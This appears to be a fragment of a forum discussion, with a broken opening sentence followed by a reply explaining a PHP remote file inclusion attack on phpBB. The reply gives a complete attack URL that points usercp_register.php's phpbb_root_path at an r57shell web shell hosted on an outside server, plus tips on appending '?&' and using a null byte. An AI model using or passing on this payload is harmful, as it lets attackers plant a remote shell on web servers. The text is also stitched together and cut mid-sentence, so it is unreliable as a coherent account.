In a typical PHP exploit scenario, the attacker could merely add a

this situation?
You would basically just need to add ?& to the end of the http get request as so if your including a remote file, since you would be placing the remaining file tree as a variable name. http://www.site.com/[path]/includes/usercp_register.php?phpbb_root_path=http://rst.void.ru/download/r57shell.txt?&; Using a null byte should work if magic_quotes = off.
